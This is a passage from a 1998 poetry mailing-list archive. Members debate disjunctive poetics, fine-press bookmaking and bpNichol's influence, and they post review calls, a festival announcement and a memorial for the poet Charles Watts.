my sense of what that real should be (the utopian commitment implicit in a belief in symbolic action). I remember laughing out loud the first time I hear the Beastie Boys lyric, "I got more rhymes than J.D.'s got Salinger" - of course, JD *doesn't* have Salinger, according to the rules of syntax, and yet he does, & I felt like I'd gotten something of the point. There's a *big* difference betwen just wanting to smash stuff up and trying to find structures compatible w/ ones evolving desires.

-m.

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217. **tracy s. ruggles**
Re: 1 more dizjunk peep
Fri 7 Aug 1998

On Friday, August 7, 1998 7:08:49 AM, Henry oh-oh wrote:

[...]
>
>I am talking about the lexical tools of poetry & suggesting that it is
>not enough to tear apart & throw into a grab bag anymore, no matter
>what hoary postmodernist truisms or ideals of class/identity politics
>or self-interested company histories of alternative art are brought
>to bear. I am suggesting looking for other means at work, other
>motivations. Every time you break apart a sentence, consider the
>cost. It's one more broken string on your bow. Is it worth it?
>Can you still shoot your arrows?
>

I'm probably jumping in at the tail end of this thread, but this last paragraph has inspired me to say something.

To say, "every time you _break apart_ a sentence, consider the cost..." has an assumption buried in it that a poet begins with sentences as a frame of reference, or that a poet comes to a raw, previously written work to break it apart. I would also add a caution, "every time you _form_ a sentence, consider the cost."

I have been "looking for other means at work" and I, personally, have found that in order to touch some sort of truth in writing, I've got to begin with nothing, a blank page, emptiness. Of course, history, styles, traditions, politics, personal preferences, etc. are all swirling around in my mind and have their influences, but when I investigate the pure physicality of writing, there is the "problem" of a blank page (or computer screen, canvas, etc.), and then, how to _begin_.

So, I may be way off-base here, but the whole of disjunctive work has taught me not to question the modalities that it attempts to break apart, but to question the act of creating a work and all that that entails. It may be that when I write, I write a perfect sonnet. It may also be that when I edit it, I break it apart. Or it also may be that I write the broken sonnet without having written the perfect sonnet. Or I just write a few words and leave it at that.

"Can you still shoot your arrows?" Assuming that I'm even here to shoot anything, I'm not sure. I'm still learning. (I hope I haven't jumped into a thread that's bigger than what I think)

--trace--

And, like other here, I want to thank Henry for asking these questions...

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218. Charles Alexander
Re: 1 more dizjunk peep
Fri 7 Aug 1998

> *I think you're confusing "breaking apart a sentence" with writing a sentence which some people will consider broken. These are two totally different things. the first is based on an assumption that there is such a thing as a sentence and that this thing can be accurately recognized and measured according to certain criteria. The second attempts to create the definition of a sentence in the act of fashioning. So, no, I never, ever break sentences; I simply write a different kind of sentence (Monk's definition of his style: "How to use notes differently. That's it. Just how to use notes differently").*

Or, on the one hand, using the weight of traditional usage, perhaps even with allowed variance, or beyond that but always with reference to accepted usage

vs

treating language as material, being able to place a word here, a letter there, a mark on one side, a phrase on the other, and believe that the 'sense' one makes with such strategies is at least as important/interesting as the 'sense' one might make with more traditional usage

knowing all the while that we never entirely escape the centuries of built-up rules and conventions governing normative language use, and perhaps (this point is arguable) we would not want to escape such norms

but we want to make other voices/gestures/styles/arrangements possible, too
as we extend what it is we might do in a poem or other
written/sounded/projected work
as we extend how such things might be read

to me there is a good parallel in this ongoing discussion with activities in the world of bookmaking, where some will only accept the traditional codex form as a 'book,' while others are just busily making various structures which still offer themselves as one kind of gathering or another, able to be 'read'

charles
charles alexander :: poet and book artist :: [redacted]
chax press :: alexander writing/design/publishing
books by artists' hands :: web sites built with care and vision
http://alexwritdespub.com/chax :: http://alexwritdespub.com

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219. **Jordan Davis**
fadenya badenya
Fri 7 Aug 1998

Is the difference that makes meaning always only oppositional, dialectic?

Small boat
appraisal
guide

↑ Index

220. **dbkk**
Mina review
Fri 7 Aug 1998

Check out David Buuck's fabulous, smart, sensitive, informed, review of The Letters of Mina Harker at the Electronic Book Review:

http://www.altx.com/ebr/reviews/rev7/r7buu.htm

I feel so lucky and thrilled to have this piece written about my book.

Dodie Bellamy

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221. **hen**
Re: fadenya badenya
Fri 7 Aug 1998

> *Is the difference that makes meaning always only oppositional, dialectic?*
>
> *Small boat*
> *appraisal*
> *guide*

"The relationship of our intellect to the truth is like that of a polygon to a circle; the resemblance to the circle grows with the multiplication of the angles of the polygon; but apart from its being reduced to identity with the circle, no multiplication, even if it were infinite, of its angles will make the polygon equal to the circle. "It is clear, therefore, that all we know of the truth is that the absolute truth, such as it is, is beyond our reach. The truth, which can be neither more nor less than it is, is the most absolute necessity, while, in contrast to it, our intellect is possibility. Therefore, the quiddity of things, which is ontological truth, is unattainable in its entirety; and though it has been the objective of all philosophers, by none has it been found as it really is. The more profoundly

we learn this lesson of ignorance, the closer we draw to truth itself." - Nicolas Cusanus, OF LEARNED IGNORANCE, 1440.

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222. David Baratier

Re: Oh henry bookmaking comment

Fri 7 Aug 1998

Charles made a comment about Henry's commentary fitting into certain aspects of the bookmaking realm. Which mused me with similarities for a few days. A fine press uses hand set type, sewn signatures, spine covers, textured paper stocks, to create a book into a made thing with a sense of typography and place, not a generated commodity.

"When the purpose of printing is to produce cheap, disposable copies, as is the case with paperbacks, high-speed rotary presses are functional and acceptable. Such means, however, seldom provide the esthetic aspect of reading-- the look and feel of a good page." Warren Campbell, _A short history of the printed word_

We are missing the book here. There are generative commodity writer's out there on any side seen worthy to name. In the way that MFA programs have given us plenty of "competent writers," the more "experimental" based programs give us a different ilk with similar results. Except in rare instances, the total book has disappeared through the falsity of sentence fracture. Why should it matter if the sentence was written out first then fractured or written for fracture, when the results are the same tired notion sacked from "A roll of the dice will abolish chance?" Late last century is hardly innovation. Where the looks of a piece are the show not an aspect thereof like how revising history through the guise of a new film prepares us in spirit for the next, not to denigrate the last.

It reminds me of a study presented before the American Marketing Association a few years back. Truthful advertisements fail, but false ones succeed in placing end use consumers in a buying mode.

Be well

David Baratier

↑ Index

223. Charles Alexander
Re: fadenya badenya
Fri 7 Aug 1998

At 12:09 PM 8/7/98 -0400, you wrote:
>Is the difference that makes meaning always only oppositional, dialectic?
>
>Small boat
>appraisal
>guide
>
>

I certainly hope not

paper aloft
generous
apprehension
charles alexander :: poet and book artist :: [redacted]
chax press :: alexander writing/design/publishing
books by artists' hands :: web sites built with care and vision
http://alexwritdespub.com/chax :: http://alexwritdespub.com

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224. henry gould
Re: 1 more dizjunk peep
Fri 7 Aug 1998

The Ultimate Authority, Poeta Superbissima Osip Mandelstam, once wrote: poetic material is language in its raw state, infinitely more raw than speech & "literature".

This accords well with Mike, Tracy & Charles's points. Points well taken. Still, I would argue that boilerplate experimental poetry is made up of either abrupt jumps between single words & partial phrases, or neutral simple sentences - neutral in the sense of being so contextless as to mean anything you want them to mean. And I would suggest, and have been suggesting, that those who want to consider themselves adventurous and experimental might look in the direction of verbal & syntactical richness, complexity, development, and synthesis as well as in the direction of staccato idioms of their own devising. There are a lot of ways to shoot arrows. Imagine a poetry that didn't foreground its verbal mannerisms, but built up an organ-like presentation of communications based on comprehensible speech patterns.

- Henry Gould

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225. Elizabeth Treadwell
Outlet review cc's
Fri 7 Aug 1998

Outlet is starting a reviews column to be written by various people (if you're interested in reviewing, contact me). If you are a chapbook publisher, that's what we want to see please, review copies! Our particular interest is poetry chapbooks, fiction also ok - especially 'experimental' -- especially small press.

Thanks.

Elizabeth Treadwell

Outlet, a periodical
Double Lucy Books
P.O. Box 9013
Berkeley, California 94709
U.S.A.
http://users.lanminds.com/~dblelucy

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226. L. MacMahon and T.R. Healy
Re: Outlet review cc's
Fri 7 Aug 1998

Hi Elizabeth,

I run a small poetry press called Wild Honey Press. Will be glad to send copies for potential review.

I'd also like to write some reviews. If you wish to see some examples of my "work" (it's pleasure really), I can send some.

best wishes

and congrats on such a good idea

Randolph Healy
16a Ballyman Rd, Bray, Co. Wicklow, Ireland.

from [redacted]

> From: Elizabeth Treadwell <[redacted]>
> To: [redacted]
> Subject: Outlet review cc's
> Date: 07 August 1998 19:02

>
> Outlet is starting a reviews column to be written by various people (if
> you're interested in reviewing, contact me). If you are a chapbook
> publisher, that's what we want to see please, review copies! Our
particular
> interest is poetry chapbooks, fiction also ok - especially 'experimental'
--
> especially small press.
>
> Thanks.
>
> Elizabeth Treadwell
>
> Outlet, a periodical
> Double Lucy Books
> P.O. Box 9013
> Berkeley, California 94709
> U.S.A.
> http://users.lanminds.com/~dblelucy

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227. Robert Corbett
All things nicholian
Fri 7 Aug 1998

In the spirit of getting a positive thread going, what do people on the list have to say about bp nichol. I noticed that the phrasing of the conference abstract suggests that he is still alive. I take it this means his influence lives on, but in the midst of the matyrology, one can be forgiven for mixing up presence and absence.

As a start, can someone confirm for me whether nichol was a student of Robin Blaser? Or is his work developed along a parallel circuit with the notion of serialism (is it surrealism) as poetic method?

Robert

Robert Corbett "you are there beyond/ tracings flesh can [redacted] take,/ and farther away surrounding and University of Washington informing the systems" - A.R. Ammons

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228. **Carl Lynden Peters**
Re: All things nicholian
Fri 7 Aug 1998

This is in response to Robert's e-mail re bpNichol & influence. It's certain his influence is alive and well. And to further a point made implicit in your post: In an issue of th _Capilano Review_ (summer 1995?) Robin Blaser sd that Nichol was "top of the heap." i've always taken Blaser's comment very seriously, and won't argue. There is also much scholarship on Nichol currently in the works. It's very exciting. Whenever i talk to people about Nichol they say things like "he was connected" -- to what? with what? WHAT! . . . something sacred. i think the poetic relationship between Blaser and Nichol--is intimate. And then the one between Nichol and Duncan remains to be written. Altho from what i have learned, i don't think Nichol was ever all that taken by Duncan's work. Maybe he felt it was a bit inaccessible. Maybe Nichol's sense or idea of the sacred is more immediate, everyday, and ordinary. But then so might Duncan's. i dunno. Blaser--Duncan--bpNichol . . . very inneresting!

Nichol's "Talking About The Sacred in Writing" (in _Tracing The Paths_) is very useful. . . . "Godness" in terms of "pataphysics . . .

c.

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229. **maz881**
aldon
Fri 7 Aug 1998

---

can someone email me aldon nielsen's hard copy address as i seem to have temporarily lost it.

thanks,

bill luoma
[redacted]

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230. **Carl Lynden Peters**
bpNichol feature
Fri 7 Aug 1998

---

sorry, forgot to mention before that _West Coast Line_ just published excerpts from Nichol's last notebook. It's just out this week.

carl

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231. **henry**
Re: Oh henry bookmaking comment
Fri 7 Aug 1998

David Baratier said: ----------Original message----------
Charles made a comment about Henry's commentary fitting into certain aspects of the bookmaking realm. Which mused me with similarities for a few days. A fine press uses hand set type, sewn signatures, spine covers, textured paper stocks, to create a book into a made thing with a sense of typography and place, not a generated commodity. [**]

We are missing the book here. There are generative commodity writer's out there on any side seen worthy to name. In the way that MFA programs have given us plenty of "competent writers," the more "experimental" based programs give us a different ilk with similar results. Except in rare instances, the total book has disappeared through the falsity of sentence fracture. Why should it matter if the sentence was written out first then fractured or written for fracture, when the results are the same tired notion sacked from "A roll of the dice will abolish chance?" Late last century is hardly innovation. Where the looks of a piece are the show not an aspect thereof like how revising history through the guise of a new film prepares us in spirit for the next, not to denigrate the last.

It reminds me of a study presented before the American Marketing Association a few years back. Truthful advertisements fail, but false ones succeed in placing end use consumers in a buying mode. [end of quote] - - - - - - - - -- - - - - The creation of the unique art-book is related to the exchange between poetry & visual art in concrete poetry, & the suggestion of bpNichol as an antidote to the negative/dialectic haggling over the dizjunk issue. From his book titles alone (all I've seen of it for now) Nichol seems to be somebody with a sense of humor & a strong art-sense, a spiritual independence, pure joie-de-vivre. Poetry needs to draw sustenance from this kind of life & example. On the other hand I think poetry has strange spiritual weapons (Blake, Hopkins, Dickinson, Shakespeare, Milton, come to mind) which are in the word itself and transcend the mode of presentation to some extent; poetry has its resources, sui generis, just as visual art does, which I have been trying to point out in the emphasis on clear speech etc. Perhaps the most radical aspect of pure art is the sense of play which as Jordan pointed out ain't dialectical but generous... calling down judgement on the utilitarian, mechanical, pre- artistic or sub-artistic, the careerist, the arriviste, the noisy, the ideological, the rational, the irrational, the graceless, purely on the basis of its graceful presence amongst us... its fulfillment of its own joyful prerogatives... that takes a certain gift & sweat...

- Henry G.

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232. Douglas Oliver
Re: Snuff and more
Fri 7 Aug 1998

A few other Brits on my previous list: John James, most elegant not so much recent work as heretofore, Roy Fisher -- good book out from Bloodaxe, Ian Patterson and many others of the Cambridge fraternity and, slightly, sorority, and I'm told of Hugh Maxton veteran of the Irish Other wing. Others could be rescued: the slender, valuable work of Mark Hyatt, Brian Marley, and so forth.

But thassnuff names, I'm sure, for you are beginning to hate me. What I'll do now is dive back on to my other list, the Britpo, and talk about some US names. See the little winged Mercury heels. We need to know more over there, too, and is there a good anthology of American poetry *published in Britain* that I've somehow missed? Can anyone inform me? I'll ask the Brits too.

Hail and Farewell, temporarily no doubt.

Doug

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233. Christian Roess
Re: fadenya badenya
Fri 7 Aug 1998

> *At 12:09 PM 8/7/98 -0400, you wrote:*
> *Is the difference that makes meaning always only oppositional, dialectic?*
>
> *Small boat*
> *appraisal*
> *guide*

Dear Small Boat,

Good question. Alas, I'm not shore.And it's hard to stay current. I think, though, I get your drift. Of course: check your star-board on occasion, especially amid*ships.

And stay trim;

Yours truly,

River-o'-dreams

_____ Get free e-mail and a permanent address at http://www.netaddress.com/?N=1

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234. Ryan Whyte
Re: Oh henry bookmaking comment
Fri 7 Aug 1998

I generally agree with this, except I don't see the problem as being that books are mass-produced, and that really good 'total books' (a questionable phrase, Blanchot might say) must be hand-made/letterpressed etc. (as bourgeoise fetish-objects). Simply, typography does certain things with certain materials, and this is too easily forgotten as typography is ostensibly to remain transparent, to somehow assure the total delivery of the text.

There are some poems that do great things on a photocopied page. I try to remember with my work on Aporia that the type itself is performative.....

Ryan

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235. Dorothy Trujillo
Charles Watts
Fri 7 Aug 1998

Like Senor Silliman, I also knew what the notice from Peter was going to be on the list but I still reeled into a pretty shocky state. I spoke with a friend later who said,"No. We knew Charles was dying" but I did not know that at all. Many years ago, Charles had meningitus and spent months in hospital. I still remember the sick anxiety of impending loss. But Charles came through being that close to death and lived for a good long time before the cancer showed up. He'd had operations and various treatments, was taking a lot of really good supplements, was taking care of himself and was continuing to work but being very mindful of his health, was not putting in excessive hours at Special Collections, as he'd a tendancy to do. I know he'd been putting in long days with Ted Byrne on the Blaser papers but I do think he was pacing himself to not become overtaxed. I just always believed he would prevail, as ever. I so appreciate Peter Quartermain's sensitivity in the initial posting and Bowering, Little and Silliman's tributes and reminiscences, particularly mention of Charles's sense of humour which could be paradoxically droll yet giggly. I always valued of Charles that he truly seemed to enjoy my own socially inappropriate daftness as a worthy lark rather than pathologizing me/'it' as many other real grown-ups were wont to do. & the giggle was right out there when years ago I shared with him plans to form a LOUD BAND called the Pound Scholars. Charles enjoyed his neighbourhood and his terrific neighbours, including Lisa Robertson right upstairs. He had friends with him towards the end and at the end and I am very glad that he was with those he cared for and who cared for him so much. I last

saw Charles at the reading I did with Bowering a few weeks back and Charles was as he will always be for me the Best Company.

I am having so much sadness with all of us in Vancouver. We have so much loss and so much to remember. We'll probably be putting something together along similar lines as the Kathy Acker Memorial Benefit through the Kootenay School of Writing, possibly at the Western Front sometime in September but its really early days on this.
Take care everyone, xxxx Dorothy Trujillo Lusk
[redacted]
765 Sawyer's Lane
Vancouver, BC V5Z 3Z8
[redacted]

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236. Alan Jennifer Sondheim
ISEA98 (completed '96) from Jennifer
Sat 8 Aug 1998

http://www.isea98.org/people/sondheim/jennifer/index.htm

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237. Marjorie Perloff
Re: Kass Fleisher piece
Sat 8 Aug 1998

Everyone on this list should treat him or herself to our own Kassia (Kass) Fleisher's piece in the current electronic book review (http:///www.altx.com/ebr/reviews/review7fleisher> called "oh Say Can You see It's All a Show" on the Clinton Capers. It is BRILLIANT, HILARIOUS, AND SAD.

Same issue has a piece by Loss Glazier that I shall call up next.

xxx
Marjorie Perloff

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238. Michael Magee
Re: fadenya badenya
Sat 8 Aug 1998

I would say no - that it is not always oppositional, thoug it probably is always, in some sense, dialectic: a questioning a old strategies, a proposal of new ones. But certainly a praxis focussed merely on opposition, in failing to provide

alternatives, misses the boat. This is why Jameson's Marxism is so dependent on descriptions of Marxian utopias: as he "explains" to some degree toward the end of the POlitical Unconscious, those invented utopias have a key purpose, they awaken both dissatisfaction (w/ present conditions) and desire (for what has been described). & it's that latter conection between utopian description and desire that I would say is *not* precisely oppositional in nature. Jameson leanrs this from Burke who, in turn, learned it from Dewey. Dewey describes how the pragmatist might use ideal formulations, not to argue there ontological validity, but for the complex set of negotiations which they engender:

"the idea becomes a standpoint from which to examine existing occurrences...the suggestion or fancy though still ideal is treated as a possibility capable of realization *in* the concrete natural world. As such, it becomes a platform from which to scrutinize natural events."

This seems to me to be one motivation behind a lot of experimental writing: it has a propositional quality, and treats new ways of writing/speaking as potentially viable forms of communication.

-m.

According
to Christian Roess: > > > > > At 12:09 PM 8/7/98 -0400, you wrote:
> >Is the difference that makes meaning always only oppositional, dialectic?
> >
> >Small boat
> >appraisal
> >guide
>
>
> Dear Small Boat,
>
> Good question. Alas, I'm not shore.And it's hard to stay current. I think, though, I get your drift. Of course: check your star-board on occasion, especially amid*ships.
>
> And stay trim;
>
> Yours truly,
>
> River-o'-dreams
>
>
>

>
> _____
> Get free e-mail and a permanent address at http://www.netaddress.com/?N=1
>

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239. Marjorie Perloff
Re: Kass Fleisher piece
Sat 8 Aug 1998

Dear Joe Safdie:

I look forward to your response--I like good arguments!

All best wishes,
Marjorie Perloff

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240. Douglas Barbour
Re: bp studies
Sat 8 Aug 1998

There's quite a bit on bpNichol out there, & I have no doubt much more to come. For those who knew him, he is still 'present,' & for those who only come to him in the writing, I believe he will be a living force.

Stephen Scobie's early book, _bpNichol: What History Teaches_ still available from talonbooks

ECWPress still has copies of _bpNichol and His Works_ (my monograph from 1992).

There was the special issue of West Coast Line _Tracing the Paths: Reding/Writing the martyrology_ edited by Roy Miki, also from talonbooks; & now, from _West Coast Line_ , _Beyond the Orchard: Essays on the martyrology_, edited by Roy Miki & Fred Wah.

from _Open Letter_ (6th series, Nos 5-6 [Summer-Fall 1986[): _Read the Way He Writes: a Festschrift for bpNichol_.

Those will give anyone a good start

& with bp, it's always a good start...

Douglas Barbour (h) [403] 4363320 (b) [403]
[redacted]
Department of English

University of Alberta
Edmonton Alberta Canada T6G 2E5

If

a city is an invention
why are we not there

Kathleen Fraser

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241. David Baratier
Re: Oh henry bookmaking comment
Sat 8 Aug 1998

Ryan: the total book is a mallarmean notion. I thought this was obvious from the mention of Un coup de des jamais. Perhaps not. Read Cook's Mallarme on John's Hopkins. The comparative referent was how the medium of bookmaking has changed, and the transience of that change over time has caused a lowering of standards of what is published. From dime store novels to current disposable poetry.

Be well

David Baratier

↑ Index

242. Mark DuCharme
Re: your territory (& welcome to it)
Sat 8 Aug 1998

Go to those hills, for all I care. I'm sorry to be blunt. If I believed, for example, that Yeats' poetry was of little worth (which I don't!), I wouldn't have the bad taste to go trumpeting that opinion about as if the judgements of other intelligent readers were as grains of sand compared to my monolithic literary intelligence (ego). Was it you in a post awhile back who suggested that the current avant garde literary scene was self-involved? Take the log out of your own eye--as Christ would say.

Your scholar,

Mark DuCharme

>Imagine a hydrahead: Ashberybloomvendler.
>
>Imagine a nation of academic journals dedicated to securing tenure for
>professional poets who run contests and give awards and so on.

>
>Imagine a poetry counter-culture of shallow roots, a-historical hokum
and
>spiritual posturing.
>
>Then think about Grand Fenwick.
>
>There's more poetry in one saying of the Sermon on the Mount than in
all
>the writings of Pound, Olson, Duncan, Creeley, Palmer, etc. put
together.
>Am I impinging on your territory? I will lift mine eyes unto the
hills,
>whence cometh my strength.
>
>
>- Henry Gould
>

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243. **Mark Weiss**

Re: your territory (& welcome to it)

Sat 8 Aug 1998

Henry hardly needs my help to defend himself. Let me just say that while I disagree with him about the Sermon on the Mount (they were platitudes even then, Henry), you seem to have misconstrued his attitude towards Yeats.

I've noticed in myself and others that artists tend to value, when we rank other artrists, those whom we find useful to or related to our own work at the moment of judgement. This is because, I think, we interact with their work differently than either the lay audience or the teacher or critic. And it's difficult to wear more than one of these hats at a time, which is why I try to avoid teaching a great many poets whom others find essential. I also (caveat to Henry) have found myself at times promoting with religous ferocity poets I couldn't abide not long before. As my work evolves (or devolves) towards or away from the work of another my tastes modify.

At 12:31 PM 8/8/98 PDT, you wrote:
>Go to those hills, for all I care. I'm sorry to be blunt. If I
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>don't!), I wouldn't have the bad taste to go trumpeting that opinion
>about as if the judgements of other intelligent readers were as grains
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>>- Henry Gould
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>
>
>_____
>Get Your Private, Free Email at http://www.hotmail.com
>
>

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244. Dorothy Trujillo
Re: ME "on" list
Sat 8 Aug 1998

Hey Joe! Nice to hear from you. Yeah, Charles WAS great. Just got a nice message from Bill Luoma remembering him. Thamx too,Bill & aloha.

As for being "on" the list--it's an odd thing really, I'd not thought of doing postings and such--I only just figured out how to do them (apologies to any for any errors of form &c)--in this instance,however,because of our friend Charles, there somehow seemed to me a need for a response in a public testimony.

Umm--well--what do I "think". Well I'm mostly on this list for access to information and the movement of information that is of some concern to the Kootenay School of Writing (ie:there is a posting that a writer we'd be interested in coming to x location & maybe we can get that person as well on the same trip) & personally, to see what other people are nattering on poetics. I found Karen Kelley contra Yau fictive gal consciousness pretty interesting and all the Pvt Ryan stuff,particularly the earlier responses and I believe Maxine Chernoff initiating the discussion. But by the time they were all on about which way they wanted to die, I admit that I too was thinking of which way I wanted them to die. There are quite a few of you out there with a much more philosophical bent than I am rather impressed in my pit of willful ignorance--go for it--looks good to ME anyway.

I enjoyed reading with you -- I did think it was a perversely interesting mix -- I do know that you felt much better afterwards when it became apparent that I am not only an Evil Language Dupe but also Spicer Spawn, through a bastard yet noble lineage via the Spicer Diaspora. We sort of can't help that up here. Any way, thamx again & keep in touch.

Dorothy Trujillo Lusk <[redacted]>

At 08:04 PM 8/7/98 -0700, you wrote:
> Hi Dorothy -- thanks for this. I really feel bereft, after reading it
>and the other tributes you mention, and I didn't even know the man! But
>he must have been really special.
>
>You may remember we did a reading together last December in Seattle. I
>really enjoyed talking with you afterwards much more than the reading!
>Are you "on" this list now? What do you think?
>
>All best,
>
>Joe Safdie

>
>
>-----Original Message-----
>From: Dorothy Trujillo
>To: [redacted]
>Sent: 8/7/98 7:24 PM
>Subject: Charles Watts
>
>Like Senor Silliman, I also knew what the notice from Peter was going to
>be
>on the list but I still reeled into a pretty shocky state. I spoke with
>a
>friend later who said,"No. We knew Charles was dying" but I did not know
>that at all. Many years ago, Charles had meningitus and spent months in
>hospital. I still remember the sick anxiety of impending loss. But
>Charles
>came through being that close to death and lived for a good long time
>before
>the cancer showed up. He'd had operations and various treatments, was
>taking
>a lot of really good supplements, was taking care of himself and was
>continuing to work but being very mindful of his health, was not putting
>in
>excessive hours at Special Collections, as he'd a tendancy to do. I know
>he'd been putting in long days with Ted Byrne on the Blaser papers but I
>do
>think he was pacing himself to not become overtaxed. I just always
>believed
>he would prevail, as ever.
>I so appreciate Peter Quartermain's sensitivity in the initial posting
>and
>Bowering, Little and Silliman's tributes and reminiscences, particularly
>mention of Charles's sense of humour which could be paradoxically droll
>yet
>giggly. I always valued of Charles that he truly seemed to enjoy my own
>socially inappropriate daftness as a worthy lark rather than
>pathologizing
>me/'it' as many other real grown-ups were wont to do. & the giggle was
>right
>out there when years ago I shared with him plans to form a LOUD BAND
>called
>the Pound Scholars. Charles enjoyed his neighbourhood and his terrific

>neighbours, including Lisa Robertson right upstairs. He had friends with
>him
>towards the end and at the end and I am very glad that he was with those
>he
>cared for and who cared for him so much. I last saw Charles at the
>reading I
>did with Bowering a few weeks back and Charles was as he will always be
>for
>me the Best Company.
>
>I am having so much sadness with all of us in Vancouver. We have so much
>loss and so much to remember. We'll probably be putting something
>together
>along similar lines as the Kathy Acker Memorial Benefit through the
>Kootenay
>School of Writing, possibly at the Western Front sometime in September
>but
>its really early days on this.
>Take care everyone, xxxx Dorothy Trujillo Lusk
>[redacted]
>765 Sawyer's Lane
>Vancouver, BC V5Z 3Z8
>[redacted]
>
>

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245. MAXINE CHERNOFF
Query
Sun 9 Aug 1998

Dear Folks: Does anyone have mailing addresses for Fred Muratori and Albert Mobilio? If so, can you backchannel them to me?

Thanks,

Maxine Chernoff

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246. rsillima
Private Ryan
Sun 9 Aug 1998

It's definitely "Lock and load,"

But what is it that Tom Hanks mumbles about "earning it" in the scene on the bridge to Matt Damon?

Ron Silliman

↑ Index

247. Louis Cabri
Re: bp studies
Sun 9 Aug 1998

Probably the first critical essays on the bp industry in canada appear in: _beyond the orchard: essays on the martyrology_. An h project. west coast line. 1997.

-l

↑ Index

248. Charles Bernstein
Russian festival of poetry (fwd)
Sun 9 Aug 1998

---------- Forwarded message ----------
Date: Sat, 8 Aug 1998 09:42:35 +0400 (MSD)
From: [redacted]

A festival of contemporary Russian poetry will be held on Sept 18 to 20 in St.Petersburg and Sept. 25 to 27 in Moscow. The title of the festival is "Genius Loci". 24 poets from Russia (mostly Moscow and St.Petersburg) will be participating, among them such prominent literary figures as Dmitry Prigov, Lev Rubinstein, Arkadi Dragomoshchenko, Genrich Sapgir, Viktor Krivulin. There will be a number of young poets too.

The festival is sponsored by the "New Literary Review' journal and partly sponsored by the Soros Foundation.

All those who share an interest in modern poetry are very welcome to visit.

Accomodation may be provided.

Contact:
email: [redacted]
tel: (812) 1351836
addr: Sergei Zavialov / Masha Zavialov
198329 Partizana Germana st. 21, apt 114,
St. Petersburg Russia

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249. **Mark DuCharme**
Re: your territory (& welcome to it)
Sun 9 Aug 1998

Mark,

I agree w/ what you say about how one reads/ reacts to poets who have affected one's own work (though I'm not sure that such a reaction is any more or less valid than a supposedly "objective" critical or academic one, since the "influenced" poet brings a unique perspective to discussion of an author's work: & thus I think wearing multiple "hats" may be appropriate). However (& to get to yr main point), I don't think that I _was_ commenting on Henry's attitude toward Yeats, but on his apparently flippant dismissal of "Pound, Olson, Duncan, Creeley, Palmer," as well as Ashbery. Such a summary dismissal as I took him to mean does nothing to further poetic dialogue, & does a disservice to those poets, obviously, as well as to those of us who take their work seriously. I only brought up Yeats as a way to make this point clear to Henry. In doing so I wasn't attempting to characterize Henry's attitude toward Yeats, or my own.

Thanks for your comments.

--Mark DuCharme

Mark Weiss wrote:
>Henry hardly needs my help to defend himself. Let me just say that while I
>disagree with him about the Sermon on the Mount (they were platitudes even
>then, Henry), you seem to have misconstrued his attitude towards Yeats.
>
>I've noticed in myself and others that artists tend to value, when we rank
>other artrists, those whom we find useful to or related to our own work at
>the moment of judgement. This is because, I think, we interact with their
>work differently than either the lay audience or the teacher or critic. And
>it's difficult to wear more than one of these hats at a time, which is why
>I try to avoid teaching a great many poets whom others find essential.
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>devolves) towards or away from the work of another my tastes modify.

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>>of sand compared to my monolithic literary intelligence (ego). Was it
>>you in a post awhile back who suggested that the current avant garde
>>literary scene was self-involved? Take the log out of your own eye--
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>>Christ would say.
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>>>Imagine a hydrahead: Ashberybloomvendler.
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>>>Imagine a nation of academic journals dedicated to securing tenure
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>>>
>>>Imagine a poetry counter-culture of shallow roots, a-historical hokum
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>>>spiritual posturing.
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>>>- Henry Gould
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>>
>>

>>_____
>>Get Your Private, Free Email at http://www.hotmail.com
>>
>>
>

_____
Get Your Private, Free Email at http://www.hotmail.com

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250. **trbell**
proletarian _Glamour
Sun 9 Aug 1998

My reading about early Russian Futurism leads me to ask:
What is a proletarian poet?
Is this someone with a proletarian backgroun?
Is this someone who writes for (on behalf of politically) the proletariat?
Is this someone who writes for the proletariat's enjoyment (for the working woman, for the college educated woman, for the academic, etc.?)

tom bell

↑ Index

251. **Loss Pequen~o Glazier**
Mouseover at EBR
Sun 9 Aug 1998

Marjorie recently mentioned my "Mouseover: Essay in JavaScript" piece that appears in the current Electronic Book Review. I am posting this note to let you know that, as the piece presently appears, it is not fully readable. The editors are working on correcting this problem and I can let the list know when the problem is corrected. Hopefully, it won't be long. Thanks.

↑ Index

252. **Mark DuCharme**
Re: Oh henry bookmaking comment
Sun 9 Aug 1998

Wanted to say, since we've had some contentious exchanges, that I completely agree w/ what's said here, w/ the possible exception of David's comment about fragmentation-- just that I don't subscribe to the ideology of innovation, so the

fact that we date fragmentation from Mallarme or the sonnet from the troubadors is not in & of itself relevant to whether it's alive NOW in a given practitioner's work.

Could it be that semantics (or Henry's spirit of devil's advocacy) covers up broader areas of agreement?

Just checking...

--Mark DuCharme

>David Baratier said:
>----------Original
message----------
>Charles made a comment about Henry's commentary fitting into certain
>aspects of the bookmaking realm. Which mused me with similarities for a
>few days. A fine press uses hand set type, sewn signatures, spine
>covers, textured paper stocks, to create a book into a made thing with
a
>sense of typography and place, not a generated commodity.
>[**]
>
>We are missing the book here. There are generative commodity writer's
>out there on any side seen worthy to name. In the way that MFA programs
>have given us plenty of "competent writers," the more "experimental"
>based programs give us a different ilk with similar results. Except in
>rare instances, the total book has disappeared through the falsity of
>sentence fracture. Why should it matter if the sentence was written out
>first then fractured or written for fracture, when the results are the
>same tired notion sacked from "A roll of the dice will abolish chance?"
>Late last century is hardly innovation. Where the looks of a piece are
>the show not an aspect thereof like how revising history through the
>guise of a new film prepares us in spirit for the next, not to
denigrate
>the last.
>
>It reminds me of a study presented before the American Marketing
>Association a few years back. Truthful advertisements fail, but false
>ones succeed in placing end use consumers in a buying mode.
>[end of quote]
> - - - - - - - - -- - - - -
>The creation of the unique art-book is related to the exchange between
>poetry & visual art in concrete poetry, & the suggestion of bpNichol as
>an antidote to the negative/dialectic haggling over the dizjunk issue.

>From his book titles alone (all I've seen of it for now)
>Nichol seems to be somebody with a sense of humor & a strong art-sense,
>a spiritual independence, pure joie-de-vivre. Poetry needs to
>draw sustenance from this kind of life & example. On the other hand I think
>poetry has strange spiritual weapons (Blake, Hopkins, Dickinson, Shakespeare,
>Milton, come to mind) which are in the word itself and transcend the
>mode of presentation to some extent; poetry has its resources, sui generis,
>just as visual art does, which I have been trying to point out in the
>emphasis on clear speech etc. Perhaps the most radical aspect of pure
>art is the sense of play which as Jordan pointed out ain't dialectical but
>generous... calling down judgement on the utilitarian, mechanical, pre-
>artistic or sub-artistic, the careerist, the arriviste, the noisy, the
>ideological, the rational, the irrational, the graceless, purely on the
>basis of its graceful presence amongst us... its fulfillment of its own
>joyful prerogatives... that takes a certain gift & sweat...
>
>- Henry G.
>

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253. **Christian Roess**

Re: my territory

Sun 9 Aug 1998

